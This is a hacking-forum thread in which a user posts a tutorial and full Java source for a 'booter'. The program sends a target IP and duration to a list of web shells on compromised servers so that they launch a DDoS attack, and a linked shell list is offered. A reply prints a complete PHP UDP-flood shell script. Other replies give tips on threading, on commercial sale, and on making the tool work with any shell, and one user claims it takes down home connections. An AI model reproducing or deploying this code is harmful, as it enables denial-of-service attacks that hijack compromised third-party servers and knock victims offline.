

Forum:[Hack Forums](#)

Thread: [\[Tut\]How to make a shell booter in java\[Tut\]](#)

tommycake50 - August 25, 2012, 7:52 am

First we need to make a new project in eclipse and name it booter.

put the line of code for the main method

Code public static void main(String args[]) {now we need to make a new scanner

Code Scanner scanner = new Scanner(System.in);and declare the variables for the input

Code String host;

int time;next we need to ask for the input for the IP to boot and the amount of time

Code System.out.println("enter the ip (has to be number ip) to take on");

host = scanner.next();

System.out.println("enter the boot time (most shells dont accept more than 30)");

time = scanner.nextInt();now we need to declare a new httpurlconnection for the http socket

Code HttpURLConnection connection = null;and write the code to read from our shells.txt file

Code BufferedReader in = new BufferedReader(new FileReader("shells.txt"));now we need to

declare a new string for the url of the shell

Code String str;now we need to declare a new url and use the host and time variables so the shells know what to boot.

Code URL url = new URL(str + "?act=phptools&host=" + host + "&time=" + time);and initialize the connection we defined earlier

Code connection = (HttpURLConnection) url.openConnection();and now we need to actually connect to the shell's

Code connection.connect();now set the connect timeout.

Code connection.setConnectTimeout(6000);and print something to show that its connected

Code float response = connection.getResponseCode();

System.out.println("request sent to shell with a responsecode of: " + response);now for the catch's and stuff

Code }} catch (MalformedURLException e1) {

e1.printStackTrace();

} catch (IOException e) {

e.printStackTrace();

}

}}

so the whole code should look like this

Code package me.tommycake50.booter;

import java.io.BufferedReader;

import java.io.FileReader;

import java.io.IOException;

import java.net.HttpURLConnection;

import java.net.MalformedURLException;

import java.net.URL;

import java.util.Scanner;

public class Booter {

public static void main(String args[]) {

```

Scanner scanner = new Scanner(System.in);
String host;
int time;
System.out.println("enter the ip (has to be number ip) to take on");
host = scanner.next();
System.out.println("enter the boot time (most shells dont accept more than 30)");
time = scanner.nextInt();

//make a new httpurlconnection
URLConnection connection = null;
try {
    //get data from the file shells.txt
    BufferedReader in = new BufferedReader(new FileReader("shells.txt"));
    String str;
    // reads shells.txt and does something for every line
    while ((str = in.readLine()) != null) {
        //makes a new URL called url
        URL url = new URL(str + "?act=phptools&host=" + host + "&time=" + time);
        //uses httpurlconnection for url
        connection = (URLConnection) url.openConnection();
        //connects to the url
        connection.connect();
    }
    //sets the timeout
    connection.setConnectTimeout(6000);
    //gets the response code
    float response = connection.getResponseCode();
    //prints request sent to shell and the response code if resnse code is 200 then the
    connection has succeeded
    System.out.println("request sent to shell with a responsecode of: " + response);
} catch (MalformedURLException e1) {
    e1.printStackTrace();
} catch (IOException e) {
    e.printStackTrace();
}
}
}

```

and now you have successfully made your own java shell booter.

i will provide a link to a list of shells you will need to place in the same file as the jar when you run it.

link to shell list: <http://www.mediafire.com/view/?39bgpn35qyay3w2>

happy coding ?.

note: shells may take a while to respond so if you don't see a message for 10 seconds this is normal.

and a response code of 200.0 means success!

redpois0n - August 25, 2012, 8:13 am

I did something long ago when I was a n00b.

Almost EXACTLY like this.

But not sure if shells worked then. Yours do?

You have tested with working shells and they responded and started working?

tommycake50 - August 25, 2012, 8:15 am

(Aug 25, 2012 08:13 AM)redpois0n Wrote: [\[CITE\]](#) I did something long ago when I was a n00b.

Almost EXACTLY like this.

But not sure if shells worked then. Yours do?

You have tested with working shells and they responded and started working?

im pretty sure it connects to the shells not sure if it works seeing as i'd need a bigger list to slow down a server.

EDIT:

made it so it displays the response code after it connects so it works i think.

redpois0n - August 25, 2012, 8:56 am

(Aug 25, 2012 08:15 AM)tommycake50 Wrote: [\[CITE\]](#) im pretty sure it connects to the shells not sure if it works seeing as i'd need a bigger list to slow down a server.

EDIT:

made it so it displays the response code after it connects so it works i think.

You never know. I suggest making 110% sure ?

DarkShadowz - August 25, 2012, 8:58 am

It depends on what shell is implanted on the server, as they can have different GET parameters. A couple of shell identifications would be nice :).

tommycake50 - August 25, 2012, 9:06 am

(Aug 25, 2012 08:58 AM)DarkShadowz Wrote: [\[CITE\]](#) It depends on what shell is implanted on the server, as they can have different GET parameters. A couple of shell identifications would be nice :). i guess I'm sounding like a n00b but what are shell identifications?

redpois0n - August 25, 2012, 9:10 am

(Aug 25, 2012 09:06 AM)tommycake50 Wrote: [\[CITE\]](#) i guess I'm sounding like a n00b but what are shell identifications?

You check if the shell has the parameters like &ip=315135 or maybe &dick=31135

so it works with other shell types

tommycake50 - August 25, 2012, 9:18 am

(Aug 25, 2012 09:10 AM)redpois0n Wrote: [\[CITE\]](#) You check if the shell has the parameters like &ip=315135 or maybe &dick=31135

so it works with other shell types

anther n00b question how do i check for params?

SellingSteam - August 25, 2012, 9:35 am

(Aug 25, 2012 09:18 AM)tommycake50 Wrote: [\[CITE\]](#) anther n00b question how do i check for params?

wow just wow , how did you even made it ? if you dont know the simple stuff.

tommycake50 - August 25, 2012, 9:39 am

(Aug 25, 2012 09:35 AM)SellingSteam Wrote: [\[CITE\]](#) wow just wow , how did you even made it ? if you dont know the simple stuff.

its a simple thing to make just get the user input and open a httpsocket.

someone_ - August 25, 2012, 9:39 am

Im mostly in here for the coding.

What exactly does the "shell.txt" contain and what does it mean?

inb4 "noob, google blabla"

tommycake50 - August 25, 2012, 9:43 am

(Aug 25, 2012 09:39 AM)someone_ Wrote: [\[CITE\]](#) Im mostly in here for the coding.

What exactly does the "shell.txt" contain and what does it mean?

inb4 "noob, google blabla"

the shells.txt contains a list of urls these urls are "shells" each shell is a DoS script and is invoked by the ?act=phptools&host=iphere&time=timehere parameters they then send a number of packets from the web server they are hosted on to the specified ip for the specified amount of time.

Grand Pootis - August 25, 2012, 9:43 am

To make it even more instantaneous, I would recommend asynchronous threading.

At least if you were to make one to sell commercially.

tommycake50 - August 25, 2012, 9:46 am

(Aug 25, 2012 09:43 AM)Not Elite Wrote: [\[CITE\]](#) To make it even more instantaneous, I would recommend asynchronous threading.

At least if you were to make one to sell commercially.

when i get better at java i'll make one like that and give it out for free with the source.

someone_ - August 25, 2012, 9:47 am

(Aug 25, 2012 09:43 AM)tommycake50 Wrote: [\[CITE\]](#) the shells.txt contains a list of urls these urls are "shells" each shell is a DoS script and is invoked by the ?act=phptools&host=iphere&time=timehere parameters they then send a number of packets from the web server they are hosted on to the specified ip for the specified amount of time.

Thanks.. So these shells are giving the url i want to boot and the amount of time that i would like to boot them?

So the urls is actually what is causing the harm, not the java code.

also, would i be able to input someones IP instead of a url, and then the shells would try to boot the persons IP?

Grand Pootis - August 25, 2012, 9:47 am

(Aug 25, 2012 09:46 AM)tommycake50 Wrote: [\[CITE\]](#) when i get better at java i'll make one like that and give it out for free with the source.

With this it's pretty easy to do.

Just look up how to implement runnable or how to extend thread

(Aug 25, 2012 09:47 AM)someone_ Wrote: [\[CITE\]](#) Thanks.. So these shells are giving the url i want to boot and the amount of time that i would like to boot them?

So the urls is actually what is causing the harm, not the java code.

also, would i be able to input someones IP instead of a url, and then the shells would try to boot the persons IP?

Yes.

The shells.txt is the list of exploited servers.

You do put in an IP. The program moves through the list.

Also, OP, you will want to set a connection timeout, bevause really slow servers will make the attack ineffective

tommycake50 - August 25, 2012, 10:04 am

(Aug 25, 2012 09:47 AM)Not Elite Wrote: [\[CITE\]](#) With this it's pretty easy to do.

Just look up how to implement runnable or how to extend thread

Yes.

The shells.txt is the list of exploited servers.

You do put in an IP. The program moves through the list.

Also, OP, you will want to set a connection timeout, bevause really slow servers will make the attack ineffective

yeah OK ill set it to 6000 milliseconds.

someone_ - August 25, 2012, 10:16 am

So this DoS script get planted on the servers when they are compromised? How does one of those DoS script look like?

redpois0n - August 25, 2012, 10:31 am

(Aug 25, 2012 10:16 AM)someone_ Wrote: [\[CITE\]](#) So this DoS script get planted on the servers when they are compromised? How does one of those DoS script look like?

Go find a public shell somewhere. They are most likely not hitting but they are all over the place. ?

tommycake50 - August 25, 2012, 10:32 am

(Aug 25, 2012 10:16 AM)someone_ Wrote: [\[CITE\]](#) So this DoS script get planted on the servers when they are compromised? How does one of those DoS script look like?

a typical shell would look like this

```
Code <html>
<body>
<center>
<font color="00FF00">
<pre>
```

```
__
/_||| |||
(|_|_|_|_|_|
\_|_|_|_|_|
_|_|_|_|_|
_|_|_|_|_|
```

```

</pre>
<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: #00;
}
</style>
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."<br>";
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=0;$i<65000;$i++){
        $out .= 'X';
    }
    while(1){
        $packets++;
        if(time() > $max_time){
            break;
        }
        $rand = rand(1,65000);
        $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
        }
    }
    echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . "
    MB) packets averaging " . round($packets/$exec_time, 2) . " packets per second \n";
    echo '<br><br>
    <form action="'.$surl.'" method=GET>
    <input type="hidden" name="act" value="phptools">
    Host: <br><input type=text name=host><br>
    Length (seconds): <br><input type=text name=time><br>
    <input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
    <form action=? method=GET>
    <input type="hidden" name="act" value="phptools">

```

```

Host: <br><input type=text name=host value=><br>
Length (seconds): <br><input type=text name=time value=><br><br>
<input type=submit value=Go></form>;
}
?>
</center>
</body>
</html>

```

Goodies - November 7, 2012, 11:34 pm

Exactly what in looking for! I made a similar code but this will definitely help! Thanks!

AmlRight - November 8, 2012, 1:35 am

nice and simple I love this! thanks for sharing my friend.

Zabuza? - December 31, 2012, 7:48 pm

(Aug 25, 2012 07:52 AM)tommycake50 Wrote: [\[CITE\]](#) First we need to make a new project in eclipse and name it booter.

```

put the line of code for the main method
Code public static void main(String args[]) {now we need to make a new scanner
Code Scanner scanner = new Scanner(System.in);and declare the variables for the input
Code String host;
int time;next we need to ask for the input for the IP to boot and the amount of time
Code System.out.println("enter the ip (has to be number ip) to take on");
    host = scanner.next();
    System.out.println("enter the boot time (most shells dont accept more than 30)");
    time = scanner.nextInt();now we need to declare a new httpurlconnection for the http socket
Code HttpURLConnection connection = null;and write the code to read from our shells.txt file
Code BufferedReader in = new BufferedReader(new FileReader("shells.txt"));now we need to
declare a new string for the url of the shell
Code String str;now we need to declare a new url and use the host and time variables so the shells
know what to boot.
Code URL url = new URL(str + "?act=phptools&host=" + host + "&time=" + time);and initialize the
connection we defined earlier
Code connection = (HttpURLConnection) url.openConnection();and now we need to actually
connect to the shell's
Code connection.connect();now set the connect timeout.
Code connection.setConnectTimeout(6000);and print something to show that its connected
Code float response = connection.getResponseCode();

```

```

    System.out.println("request sent to shell with a responsecode of: " + response);now for the
catch's and stuff

```

```

Code }} catch (MalformedURLException e1) {
    e1.printStackTrace();
} catch (IOException e) {
    e.printStackTrace();
}
}

```

```

}}
so the whole code should look like this
Code package me.tommycake50.booter;

```

```

import java.io.BufferedReader;

```

```
import java.io.FileReader;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Scanner;
```

```
public class Booter {
    public static void main(String args[]) {
        Scanner scanner = new Scanner(System.in);
        String host;
        int time;
        System.out.println("enter the ip (has to be number ip) to take on");
        host = scanner.next();
        System.out.println("enter the boot time (most shells dont accept more than 30)");
        time = scanner.nextInt();

        //make a new httpurlconnection
        HttpURLConnection connection = null;
        try {
            //get data from the file shells.txt
            BufferedReader in = new BufferedReader(new FileReader("shells.txt"));
            String str;
            // reads shells.txt and does something for every line
            while ((str = in.readLine()) != null) {
                //makes a new URL called url
                URL url = new URL(str + "?act=phptools&host=" + host + "&time=" + time);
                //uses httpurlconnection for url
                connection = (HttpURLConnection) url.openConnection();
                //connects to the url
                connection.connect();
            }
            //sets the timeout
            connection.setConnectTimeout(6000);
            //gets the response code
            float response = connection.getResponseCode();
            //prints request sent to shell and the response code if resnse code is 200 then the
            connection has succeeded
            System.out.println("request sent to shell with a responsecode of: " + response);
        } catch (MalformedURLException e1) {
            e1.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
```

and now you have successfully made your own java shell booter.

i will provide a link to a list of shells you will need to place in the same file as the jar when you run it.

link to shell list: <http://www.mediafire.com/view/?39bgpn35qyay3w2>

happy coding ?.

note: shells may take a while to respond so if you don't see a message for 10 seconds this is normal.

and a response code of 200.0 means success!

The shells aren't available anymore ?

I'm new XD. First, how do I use and where do I get shells? (The old link won't work -.-).

How do I set it up to work properly? Also how do I turn into a working .jar?

redpois0n - January 1, 2013, 2:00 pm

(Dec 31, 2012 08:48 PM)ceoff Wrote: [\[CITE\]](#) The shells aren't available anymore ?

I'm new XD. First, how do I use and where do I get shells? (The old link won't work -.-).

How do I set it up to work properly? Also how do I turn into a working .jar?

If you dont know java I dont suggest doing this.

You will have to get shells one way or another. Shells is way 2011

Colby_ - January 1, 2013, 2:48 pm

Wait, so there's absolutely no security? What shit.

Jire - January 1, 2013, 3:11 pm

(Jan 1, 2013 03:48 PM)Colby_ Wrote: [\[CITE\]](#) Wait, so there's absolutely no security? What shit. Agreed in the greatest and highest manner. ?

Fereta - January 1, 2013, 5:23 pm

(Jan 1, 2013 03:48 PM)Colby_ Wrote: [\[CITE\]](#) Wait, so there's absolutely no security? What shit. Please explain what you mean by "no security." I am genuinely wanting to know.

redpois0n - January 1, 2013, 5:38 pm

(Jan 1, 2013 03:48 PM)Colby_ Wrote: [\[CITE\]](#) Wait, so there's absolutely no security? What shit. Shells you know...

If someone gets your shells, they can use them as much as you can.

I dont see any need for security in this program.

Goldbach - January 1, 2013, 6:29 pm

(Jan 1, 2013 06:38 PM)redpois0n Wrote: [\[CITE\]](#) Shells you know...

If someone gets your shells, they can use them as much as you can.

I dont see any need for security in this program.

You can create a crypted .txt file and have an algorithm to decrypt it if you wanted. For this program its not necessary, but for the future, if someone wanted to sell it etc, then they would want to implement something like that

redpois0n - January 1, 2013, 7:00 pm

(Jan 1, 2013 07:29 PM)Goldbach Wrote: [\[CITE\]](#) You can create a crypted .txt file and have an algorithm to decrypt it if you wanted. For this program its not necessary, but for the future, if someone wanted to sell it etc, then they would want to implement something like that
Maybe that, then have functionality to add and remove shells. But shells are way 2011.

Jire - January 1, 2013, 10:31 pm

(Jan 1, 2013 06:23 PM)Fereta Wrote: [\[CITE\]](#) Please explain what you mean by "no security." I am

genuinely wanting to know. Anybody can make attack requests with your shells if they get the link. There should be some security measures implemented, at the very least checking with a list of addresses that can request attacks.

(Jan 1, 2013 07:29 PM)Goldbach Wrote: [\[CITE\]](#) You can create a crypted .txt file and have an algorithm to decrypt it if you wanted. For this program its not necessary, but for the future, if someone wanted to sell it etc, then they would want to implement something like thatWait... what? How would having some encrypted text file and a decryption algorithm to go along stop anybody from requesting attacks?

Colby_ - January 1, 2013, 10:32 pm

(Jan 1, 2013 06:23 PM)Fereta Wrote: [\[CITE\]](#) Please explain what you mean by "no security." I am genuinely wanting to know. There is no security?.. Anyone can use the shells.

(Jan 1, 2013 07:29 PM)Goldbach Wrote: [\[CITE\]](#) You can create a crypted .txt file and have an algorithm to decrypt it if you wanted. For this program its not necessary, but for the future, if someone wanted to sell it etc, then they would want to implement something like thatWhat kind of heap of shit are you talking about?..

Victoria J - January 1, 2013, 10:45 pm

You can have maximum security it won't even matter; if someone wanted the shells they could get them.

(With knowledge of bootclasspath)

```
Code public URL(String url) throws MalformedURLException {
    this(null, url);
    System.out.println(url);
}
```

Jire - January 1, 2013, 10:51 pm

(Jan 1, 2013 11:45 PM)Majoras Wrote: [\[CITE\]](#) You can have maximum security it won't even matter; if someone wanted the shells they could get them.

(With knowledge of bootclasspath)

```
Code public URL(String url) throws MalformedURLException {
    this(null, url);
    System.out.println(url);
}
```

With the same logic, if someone wanted to deface Google they could do it.

No, if someone has the incredible skills to do such a thing they could do it. The same applies in this case (although whether the skills to do the task are incredible or not is debatable); without security you're opening up a security threat for the lowest form of a novice.

Colby_ - January 2, 2013, 2:53 am

(Jan 1, 2013 11:45 PM)Majoras Wrote: [\[CITE\]](#) You can have maximum security it won't even matter; if someone wanted the shells they could get them.

(With knowledge of bootclasspath)

```
Code public URL(String url) throws MalformedURLException {
    this(null, url);
```

```
System.out.println(url);  
}LOL? You are stupid. Simple security will make hijacking them impossible.
```

autorunman22 - January 2, 2013, 5:01 am

op, why wont you fetch the html script first to scan for the get parameters and then apply it later when youre about to request an attack to it? so any shells will do.

redpois0n - January 2, 2013, 5:37 am

(Jan 2, 2013 06:01 AM)autorunman22 Wrote: [\[CITE\]](#) op, why wont you fetch the html script first to scan for the get parameters and then apply it later when youre about to request an attack to it? so any shells will do.

You cant scan parameters in php server side code. The html is only the layout.

iitsimran - January 5, 2013, 8:04 pm

I personally find JOptionPane better.

Zabuza? - January 5, 2013, 8:18 pm

Gotta say, it's pretty good for a new project. One way to improve it would be to add a GUI, though I don't expect you to do that considering the work you've done on it already. Nice!

redpois0n - January 6, 2013, 3:09 am

(Jan 5, 2013 09:04 PM)iitsimran Wrote: [\[CITE\]](#) I personally find JOptionPane better. Could you explain what this is then and what you prefer it over? ?

Earthly Minds - January 20, 2013, 3:16 pm

this looks great! thanks! however, your link to the shells isnt working

???I?? - October 23, 2013, 2:10 pm

wat.. someone explain me how to export this please :)

autorunman22 - October 24, 2013, 5:55 am

(Jan 2, 2013 06:37 AM)redpois0n Wrote: [\[CITE\]](#) You cant scan parameters in php server side code. The html is only the layout.

You're correct. What I'm trying to say is, his code needs to fetch a shell.

i.e. download the content of the shell (request without any parameters).

Once the program got the HTML script, scan for the parameters inside the form tag so it should be easy. Then run a new thread that will supply the extracted parameters against that particular shell. Profit.

I have made this myself and with only 300/1000+ public shells, I can really take down a small home connection.

reaand - October 24, 2013, 5:59 am

thanks for this But not sure if shells worked then. Yours do?